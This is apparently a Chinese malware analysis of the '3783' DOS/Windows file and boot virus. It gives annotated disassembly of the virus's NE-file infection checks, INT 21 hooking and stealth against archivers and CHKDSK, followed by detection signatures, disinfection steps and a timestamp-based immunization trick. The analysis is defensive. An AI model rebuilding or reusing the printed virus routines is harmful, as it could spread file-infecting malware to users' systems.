F6C8:0C35 C416030F　　　LES　　 DX,[0F03] ;不是 WINDOWS 文件
F6C8:0C39 8CC1　　　　　MOV　　 CX,ES
F6C8:0C3B 83EA08　　　　SUB　　 DX,+08 ;移动到 NE 文件头 - 8 处
F6C8:0C3E 83D900　　　　SBB　　 CX,+00 ;
F6C8:0C41 E87000　　　　CALL　　0CB4 ;DOS 4200功能
F6C8:0C44 B43F　　　　　MOV　　 AH,3F
F6C8:0C46 B94800　　　　MOV　　 CX,0048 ;读出 48H 字节
F6C8:0C49 BA070F　　　　MOV　　 DX,0F07 ;NE 文件头在 0F0F 处
F6C8:0C4C 8BF2　　　　　MOV　　 SI,DX
F6C8:0C4E E84E00　　　　CALL　　0C9F
F6C8:0C51 7207　　　　　JB　　　0C5A
F6C8:0C53 817C084E45　　CMP　　 WORD PTR [SI+08],454E
F6C8:0C58 7401　　　　　JZ　　　0C5B ;不是 "NE" 设置 CY
F6C8:0C5A F9　　　　　　STC　　
F6C8:0C5B C3　　　　　　RET　　
;==========================================================================
F6C8:0C5C 53　　　　　　PUSH　　BX
F6C8:0C5D 51　　　　　　PUSH　　CX
F6C8:0C5E 52　　　　　　PUSH　　DX
F6C8:0C5F 56　　　　　　PUSH　　SI
F6C8:0C60 57　　　　　　PUSH　　DI
F6C8:0C61 55　　　　　　PUSH　　BP
F6C8:0C62 1E　　　　　　PUSH　　DS
F6C8:0C63 06　　　　　　PUSH　　ES
F6C8:0C64 B98B28　　　　MOV　　 CX,288B
F6C8:0C67 BA75D5　　　　MOV　　 DX,D575
F6C8:0C6A B80010　　　　MOV　　 AX,1000
F6C8:0C6D 8ED8　　　　　MOV　　 DS,AX
F6C8:0C6F B43F　　　　　MOV　　 AH,3F
F6C8:0C71 E81701　　　　CALL　　0D8B
F6C8:0C74 720E　　　　　JB　　　0C84
F6C8:0C76 0E　　　　　　PUSH　　CS
F6C8:0C77 1F　　　　　　POP　　 DS
F6C8:0C78 01066F07　　　ADD　　 [076F],AX
F6C8:0C7C 0106680C　　　ADD　　 [0C68],AX
F6C8:0C80 2906650C　　　SUB　　 [0C65],AX
F6C8:0C84 07　　　　　　POP　　 ES
F6C8:0C85 1F　　　　　　POP　　 DS
F6C8:0C86 5D　　　　　　POP　　 BP
F6C8:0C87 5F　　　　　　POP　　 DI
F6C8:0C88 5E　　　　　　POP　　 SI
F6C8:0C89 5A　　　　　　POP　　 DX
F6C8:0C8A 59　　　　　　POP　　 CX
F6C8:0C8B 5B　　　　　　POP　　 BX
F6C8:0C8C C3　　　　　　RET　　
;=========================================================================
F6C8:0C8D B43F　　　　　MOV　　 AH,3F
F6C8:0C8F 3DB440　　　　CMP　　 AX,40B4
F6C8:0C92 50　　　　　　PUSH　　AX
F6C8:0C93 E81100　　　　CALL　　0CA7
F6C8:0C96 58　　　　　　POP　　 AX
F6C8:0C97 B94000　　　　MOV　　 CX,0040
F6C8:0C9A BAC70E　　　　MOV　　 DX,0EC7
F6C8:0C9D 0E　　　　　　PUSH　　CS
F6C8:0C9E 1F　　　　　　POP　　 DS
F6C8:0C9F E85800　　　　CALL　　0CFA
F6C8:0CA2 7202　　　　　JB　　　0CA6
F6C8:0CA4 2BC1　　　　　SUB　　 AX,CX
F6C8:0CA6 C3　　　　　　RET　　
;=========================================================================
F6C8:0CA7 B000　　　　　MOV　　 AL,00
F6C8:0CA9 3DB001　　　　CMP　　 AX,01B0
F6C8:0CAC 3DB002　　　　CMP　　 AX,02B0
F6C8:0CAF 33C9　　　　　XOR　　 CX,CX
F6C8:0CB1 33D2　　　　　XOR　　 DX,DX
F6C8:0CB3 3DB000　　　　CMP　　 AX,00B0
F6C8:0CB6 3DB001　　　　CMP　　 AX,01B0
F6C8:0CB9 3DB002　　　　CMP　　 AX,02B0
F6C8:0CBC B442　　　　　MOV　　 AH,42
F6C8:0CBE EB3A　　　　　JMP　　 0CFA
F6C8:0CC0 B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0CC3 BABCFF　　　　MOV　　 DX,FFBC
F6C8:0CC6 E8F1FF　　　　CALL　　0CBA
F6C8:0CC9 B43F　　　　　MOV　　 AH,3F
F6C8:0CCB B94400　　　　MOV　　 CX,0044
F6C8:0CCE BAC30E　　　　MOV　　 DX,0EC3
F6C8:0CD1 0E　　　　　　PUSH　　CS
F6C8:0CD2 1F　　　　　　POP　　 DS
F6C8:0CD3 EBCA　　　　　JMP　　 0C9F
F6C8:0CD5 50　　　　　　PUSH　　AX
F6C8:0CD6 53　　　　　　PUSH　　BX
F6C8:0CD7 B82012　　　　MOV　　 AX,1220
F6C8:0CDA E8E300　　　　CALL　　0DC0
F6C8:0CDD 33DB　　　　　XOR　　 BX,BX
F6C8:0CDF 26　　　　　　ES:
F6C8:0CE0 8A1D　　　　　MOV　　 BL,[DI]
F6C8:0CE2 B81612　　　　MOV　　 AX,1216
F6C8:0CE5 E8D800　　　　CALL　　0DC0
F6C8:0CE8 720D　　　　　JB　　　0CF7
F6C8:0CEA 06　　　　　　PUSH　　ES
F6C8:0CEB 1F　　　　　　POP　　 DS
F6C8:0CEC F6450580　　　TEST　　BYTE PTR [DI+05],80
F6C8:0CF0 F5　　　　　　CMC　　
F6C8:0CF1 7504　　　　　JNZ　　 0CF7
F6C8:0CF3 F64510C0　　　TEST　　BYTE PTR [DI+10],C0
F6C8:0CF7 5B　　　　　　POP　　 BX
F6C8:0CF8 58　　　　　　POP　　 AX
F6C8:0CF9 C3　　　　　　RET
;=========================================================================
F6C8:0CFA E84D00　　　　CALL　　0D4A
F6C8:0CFD E88B00　　　　CALL　　0D8B
F6C8:0D00 E85E00　　　　CALL　　0D61
F6C8:0D03 2E　　　　　　CS:
F6C8:0D04 FF366911　　　PUSH　　WORD PTR [1169]
F6C8:0D08 2E　　　　　　CS:
F6C8:0D09 FF366D11　　　PUSH　　WORD PTR [116D]
F6C8:0D0D 2E　　　　　　CS:
F6C8:0D0E FF366F11　　　PUSH　　WORD PTR [116F]
F6C8:0D12 2E　　　　　　CS:
F6C8:0D13 8C1E6D11　　　MOV　　 [116D],DS
F6C8:0D17 0E　　　　　　PUSH　　CS
F6C8:0D18 1F　　　　　　POP　　 DS
F6C8:0D19 893E6911　　　MOV　　 [1169],DI
F6C8:0D1D 8C066F11　　　MOV　　 [116F],ES
F6C8:0D21 BF5F11　　　　MOV　　 DI,115F
F6C8:0D24 0E　　　　　　PUSH　　CS
F6C8:0D25 07　　　　　　POP　　 ES
F6C8:0D26 FF35　　　　　PUSH　　WORD PTR [DI]
F6C8:0D28 9C　　　　　　PUSHF　
F6C8:0D29 AB　　　　　　STOSW　
F6C8:0D2A 8B05　　　　　MOV　　 AX,[DI]
F6C8:0D2C 93　　　　　　XCHG　　AX,BX
F6C8:0D2D AB　　　　　　STOSW　
F6C8:0D2E 8B05　　　　　MOV　　 AX,[DI]
F6C8:0D30 91　　　　　　XCHG　　AX,CX
F6C8:0D31 AB　　　　　　STOSW　
F6C8:0D32 8B05　　　　　MOV　　 AX,[DI]
F6C8:0D34 92　　　　　　XCHG　　AX,DX
F6C8:0D35 AB　　　　　　STOSW　
F6C8:0D36 8B05　　　　　MOV　　 AX,[DI]
F6C8:0D38 96　　　　　　XCHG　　AX,SI
F6C8:0D39 AB　　　　　　STOSW　
F6C8:0D3A AF　　　　　　SCASW　
F6C8:0D3B 8B05　　　　　MOV　　 AX,[DI]
F6C8:0D3D 95　　　　　　XCHG　　AX,BP
F6C8:0D3E AB　　　　　　STOSW　
F6C8:0D3F 58　　　　　　POP　　 AX
F6C8:0D40 874504　　　　XCHG　　AX,[DI+04]
F6C8:0D43 50　　　　　　PUSH　　AX
F6C8:0D44 9D　　　　　　POPF　　
F6C8:0D45 58　　　　　　POP　　 AX
F6C8:0D46 07　　　　　　POP　　 ES
F6C8:0D47 1F　　　　　　POP　　 DS
F6C8:0D48 5F　　　　　　POP　　 DI
F6C8:0D49 C3　　　　　　RET　　
;==========================================================================
F6C8:0D4A 9C　　　　　　PUSHF　
F6C8:0D4B 50　　　　　　PUSH　　AX
F6C8:0D4C 53　　　　　　PUSH　　BX
F6C8:0D4D 51　　　　　　PUSH　　CX
F6C8:0D4E 52　　　　　　PUSH　　DX
F6C8:0D4F 56　　　　　　PUSH　　SI
F6C8:0D50 57　　　　　　PUSH　　DI
F6C8:0D51 55　　　　　　PUSH　　BP
F6C8:0D52 1E　　　　　　PUSH　　DS
F6C8:0D53 06　　　　　　PUSH　　ES
F6C8:0D54 E8ACFF　　　　CALL　　0D03
F6C8:0D57 07　　　　　　POP　　 ES
F6C8:0D58 1F　　　　　　POP　　 DS
F6C8:0D59 5D　　　　　　POP　　 BP
F6C8:0D5A 5F　　　　　　POP　　 DI
F6C8:0D5B 5E　　　　　　POP　　 SI
F6C8:0D5C 5A　　　　　　POP　　 DX
F6C8:0D5D 59　　　　　　POP　　 CX
F6C8:0D5E 5B　　　　　　POP　　 BX
F6C8:0D5F 58　　　　　　POP　　 AX
F6C8:0D60 9D　　　　　　POPF　　
F6C8:0D61 50　　　　　　PUSH　　AX
F6C8:0D62 53　　　　　　PUSH　　BX
F6C8:0D63 51　　　　　　PUSH　　CX
F6C8:0D64 56　　　　　　PUSH　　SI
F6C8:0D65 1E　　　　　　PUSH　　DS
F6C8:0D66 B81812　　　　MOV　　 AX,1218
F6C8:0D69 E85400　　　　CALL　　0DC0
F6C8:0D6C BF5F11　　　　MOV　　 DI,115F
F6C8:0D6F B90900　　　　MOV　　 CX,0009
F6C8:0D72 AD　　　　　　LODSW　
F6C8:0D73 2E　　　　　　CS:
F6C8:0D74 8705　　　　　XCHG　　AX,[DI]
F6C8:0D76 AF　　　　　　SCASW　
F6C8:0D77 8944FE　　　　MOV　　 [SI-02],AX
F6C8:0D7A E2F6　　　　　LOOP　　0D72
F6C8:0D7C 8B4404　　　　MOV　　 AX,[SI+04]
F6C8:0D7F 2E　　　　　　CS:
F6C8:0D80 8705　　　　　XCHG　　AX,[DI]
F6C8:0D82 894404　　　　MOV　　 [SI+04],AX
F6C8:0D85 1F　　　　　　POP　　 DS
F6C8:0D86 5E　　　　　　POP　　 SI
F6C8:0D87 59　　　　　　POP　　 CX
F6C8:0D88 5B　　　　　　POP　　 BX
F6C8:0D89 58　　　　　　POP　　 AX
F6C8:0D8A C3　　　　　　RET　　
;==================================================================
;病毒自己执行 INT 21 功能
F6C8:0D8B 50　　　　　　PUSH　　AX
F6C8:0D8C 53　　　　　　PUSH　　BX
F6C8:0D8D 1E　　　　　　PUSH　　DS
F6C8:0D8E 2E　　　　　　CS:
F6C8:0D8F C51E5711　　　LDS　　 BX,[1157]
F6C8:0D93 8AC4　　　　　MOV　　 AL,AH
F6C8:0D95 98　　　　　　CBW　　
F6C8:0D96 D1E0　　　　　SHL　　 AX,1
F6C8:0D98 2E　　　　　　CS:
F6C8:0D99 03065111　　　ADD　　 AX,[1151]
F6C8:0D9D 93　　　　　　XCHG　　AX,BX
F6C8:0D9E 8B07　　　　　MOV　　 AX,[BX]
F6C8:0DA0 2E　　　　　　CS:
F6C8:0DA1 A35511　　　　MOV　　 [1155],AX
F6C8:0DA4 2E　　　　　　CS:
F6C8:0DA5 832E571105　　SUB　　 WORD PTR [1157],+05
F6C8:0DAA 1F　　　　　　POP　　 DS
F6C8:0DAB 5B　　　　　　POP　　 BX
F6C8:0DAC 58　　　　　　POP　　 AX
F6C8:0DAD 685344　　　　PUSH　　4453
F6C8:0DB0 2E　　　　　　CS:
F6C8:0DB1 FF365711　　　PUSH　　WORD PTR [1157]
F6C8:0DB5 2E　　　　　　CS:
F6C8:0DB6 FF365911　　　PUSH　　WORD PTR [1159]
F6C8:0DBA 2E　　　　　　CS:
F6C8:0DBB FF365511　　　PUSH　　WORD PTR [1155]
F6C8:0DBF CB　　　　　　RETF　　
F6C8:0DC0 3C12　　　　　CMP　　 AL,12
F6C8:0DC2 9C　　　　　　PUSHF　
F6C8:0DC3 FA　　　　　　CLI　　
F6C8:0DC4 0E　　　　　　PUSH　　CS
F6C8:0DC5 E80100　　　　CALL　　0DC9
F6C8:0DC8 C3　　　　　　RET　　
F6C8:0DC9 2E　　　　　　CS:
F6C8:0DCA FF365911　　　PUSH　　WORD PTR [1159]
F6C8:0DCE 2E　　　　　　CS:
F6C8:0DCF FF365D11　　　PUSH　　WORD PTR [115D]
F6C8:0DD3 CB　　　　　　RETF　　
F6C8:0DD4 CD2F　　　　　INT　　 2F　　　(Multiplex)
F6C8:0DD6 C3　　　　　　RET　　
;=====================================================================
;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
F6C8:0DD7 56　　　　　　PUSH　　SI
F6C8:0DD8 BE1C0E　　　　MOV　　 SI,0E1C
F6C8:0DDB E80B00　　　　CALL　　0DE9
F6C8:0DDE 5E　　　　　　POP　　 SI
F6C8:0DDF C3　　　　　　RET　　
;=====================================================================
;比较当前执行文件名是否为 CHKDSK
F6C8:0DE0 56　　　　　　PUSH　　SI
F6C8:0DE1 BE450E　　　　MOV　　 SI,0E45
F6C8:0DE4 E80200　　　　CALL　　0DE9
F6C8:0DE7 5E　　　　　　POP　　 SI
F6C8:0DE8 C3　　　　　　RET　　
;=======================================================================
;比较当前执行文件名
;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
;是, 返回 ZR
F6C8:0DE9 60　　　　　　PUSHA　
F6C8:0DEA 1E　　　　　　PUSH　　DS
F6C8:0DEB 06　　　　　　PUSH　　ES
F6C8:0DEC 0E　　　　　　PUSH　　CS
F6C8:0DED 1F　　　　　　POP　　 DS
F6C8:0DEE B451　　　　　MOV　　 AH,51 ;得到当前进程 PSP
F6C8:0DF0 CD21　　　　　INT　　 21
F6C8:0DF2 4B　　　　　　DEC　　 BX
F6C8:0DF3 8EC3　　　　　MOV　　 ES,BX
F6C8:0DF5 33DB　　　　　XOR　　 BX,BX
F6C8:0DF7 26　　　　　　ES:
F6C8:0DF8 817F084C4C　　CMP　　 WORD PTR [BX+08],4C4C
F6C8:0DFD 7506　　　　　JNZ　　 0E05 ;"LL"
F6C8:0DFF 26　　　　　　ES:
F6C8:0E00 385F0B　　　　CMP　　 [BX+0B],BL
F6C8:0E03 7413　　　　　JZ　　　0E18
F6C8:0E05 AC　　　　　　LODSB　
F6C8:0E06 3C01　　　　　CMP　　 AL,01 ;比较字符数
F6C8:0E08 720E　　　　　JB　　　0E18
F6C8:0E0A 98　　　　　　CBW　　
F6C8:0E0B 8BC8　　　　　MOV　　 CX,AX
F6C8:0E0D 03C6　　　　　ADD　　 AX,SI
F6C8:0E0F 50　　　　　　PUSH　　AX
F6C8:0E10 BF0800　　　　MOV　　 DI,0008
F6C8:0E13 F3　　　　　　REPZ
F6C8:0E14 A6　　　　　　CMPSB　
F6C8:0E15 5E　　　　　　POP　　 SI
F6C8:0E16 75ED　　　　　JNZ　　 0E05
F6C8:0E18 07　　　　　　POP　　 ES
F6C8:0E19 1F　　　　　　POP　　 DS
F6C8:0E1A 61　　　　　　POPA　　
F6C8:0E1B C3　　　　　　RET　　

F6C8:0E10　BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A　 .....^u...a..PKZ
F6C8:0E20　49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54　 IP.ARJ.RAR.LHA.T
F6C8:0E30　45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41　 ELIX.BACKUP.MSBA
F6C8:0E40　43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01　 CKUP..CHKDSK.P..
F6C8:0E50　02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05　 .P...P...P...P..
F6C8:0E60　02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09　 .P...P...P...P..
F6C8:0E70　02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03　 .P.....}...}....
F6C8:0E80　04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30　 .,.....F6C8:0000
F6C8:0E90　20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50　　0E　　　　　　P
F6C8:0EA0　55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A　 USH　　CS..F6C8:
F6C8:0EB0　30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20　 0001 1F　　　　
F6C8:0EC0　20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7　　　.....m.f.....
F6C8:0ED0　0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00　 ................
F6C8:0EE0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0EF0　00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E　 .............d..
F6C8:0F00　0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00　 ...&............
F6C8:0F10　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F20　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F30　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F40　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F50　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F60　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F70　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F80　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0F90　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FA0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FB0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FC0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FD0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FE0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
F6C8:0FF0　00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00　 ................
杀毒要点：

1．内存中病毒的检测

　检测内存中的病毒可以用病毒自己的检测方法，设置 AX=187FH，BX=4453H 调用INT 21H，如果返回 BX=87A1H 表示内存中已有 3783 病毒，由于该病毒有很多欺骗手段，要检测引导区或文件上的病毒必须先用干净系统盘重新启动。

2．引导区中病毒的检测和清除

　用磁盘编辑工具观察引导区，如果发现偏移 003EH 的内容为 FA 33 DB 8E D3 BC 00 7C 8E C4 表示引导区中已有病毒，对于硬盘，可用 CX=000DH，DX=0080H，INT 13H　读出原引导记录，对于软盘，可用 CX=5009H，DX=0000H，INT 13H 读出原引导记录，再写入引导区就可以清除病毒，清除硬盘引导区的 3783 病毒也可以简单地用 FDISK /MBR 来完成。

3．可执行文件中病毒的检测和清除

　 3783 病毒在文件中保存了原文件的文件头，位置是病毒开始后偏移第 0E87H 处算起的 40H 字节，由于 3783 病毒代码不加密，所以检测和清除相对比较简单，对于 DOS 文件，可以用PCTOOLS 等软件查找字符串 0E 1F E8 00 00 5E 83 EE 05 56 06 B8 7F 18，或用DEBUG 反汇编文件的前几句，如果发现字符串或发现以下指令：
XXXX:0100　 E9YYYY　　JMP　　 YYYY　　　　；.COM 文件的第一句
　　　　　．．．
XXXX:YYYY　 0E　　　　PUSH　　 CS　　　　；.EXE 文件的第一句
　　　　　 1F　　　　 POP　　 DS
　　　　　 E80000　　 CALL　　ZZZZ
XXXX:ZZZZ　 5E　　　　POP　　　SI
　　　　　 83EE05　　 SUB　　 SI,+05
　　　　　 56　　　　 PUSH　　SI
　　　　　 06　　　　 PUSH　　ES
　　　　　 B87F18　　 MOV　　 AX,187F
　　　　　 BB5344　　 MOV　　 BX,4453
　　　　　 CD21　　　 INT　　 21　　　 (DOS)
　　　　　 81FBA187　CMP　　　BX,87A1
就可以确认文件已被 3783 病毒传染，手工消毒可以用以下办法：先记下找到字符串的位置，再将这个位置加上 0E87H，( DEBUG 中将地址 YYYY 加上 0E87H) 就是原文件头 40H 字节保存的地方，将这 40H字节写回文件头，再从找到字符串的地方将文件截断即完成消毒。
　对于WINDOWS文件，由于病毒对文件修改较多，且数据结构复杂，一般不用手工消毒，在没有消毒程序的情况下，建议用以下办法：找一个压缩软件如 ARJ、LHA、RAR 等，将文件改名为其他文件名如 A.EXE，再运行一个带毒文件使内存中驻留病毒，再将要消毒的文件打包，由于病毒执行了欺骗功能，所以由压缩软件读出并压进文件包的文件都是无毒的，用干净系统盘启动后，解压缩出来的文件就是无毒的了。在磁盘空间足够的情况下，也可以用这种方法全盘压缩，再全盘解压缩来消除全部病毒。编程自动消毒的步骤和算法如下：
　 ⑴　判断文件头 0018H 大于等于 40H 则继续 (表示有 "NE" 文件头)
　 ⑵　从文件头 003CH 取得偏移量读出 40H 字节，判断前 2 字节为 "NE" 则继续
　 ⑶　从 "NE" 报头中取相关数据计算入口段地址表记录偏移量，算法为：
　　　偏移量＝"NE"报头偏移量＋["NE"报头22H]＋(["NE"报头16H]-1)＊8
　 ⑷　读出 8 字节入口段的段地址表记录
　 ⑸　如果本记录后 6 字节为 7D 0E 80 01 7D 0E 表示有 3783 病毒
　 ⑹　病毒起始位置(即原文件长)＝[段地址表记录00H]＊( 1 SHL ["NE"报头32H] )
　 ⑺　恢复原入口段地址表记录号：病毒中第 0E83H ＝> "NE"报头16H
　　　恢复原入口 IP：病毒中第 0E85H ＝> "NE"报头14H
　　　恢复原段地址表记录数："NE"报头 1CH 减 1
　 ⑻　将恢复的 "NE" 报头写回，将文件从病毒开始处截断
到此消毒已经完成。在消毒中省略了将 "NE"可执行报头及段地址表后移 8 字节的步骤，这并不影响文件的执行，如果一定要将文件完全复原，还要加上以下部分：
　 ⑼　将 "NE"报头 04H、24H、26H、28H、2AH 处的字及文件头 3CH 处的双字减 8
　 ⑽　将 "NE"报头开始到段地址表结束为止的数据后移 8 字节
　　　将文件头 3CH 处的新数据写回

4．可执行文件的免疫

　病毒的传染标记为文件时间加上 100 年，如果病毒检测到文件时间大于 2080　年就认为文件已经感染，所以可以用工具软件修改文件时间，将文件时间加上 100年就可完成免疫。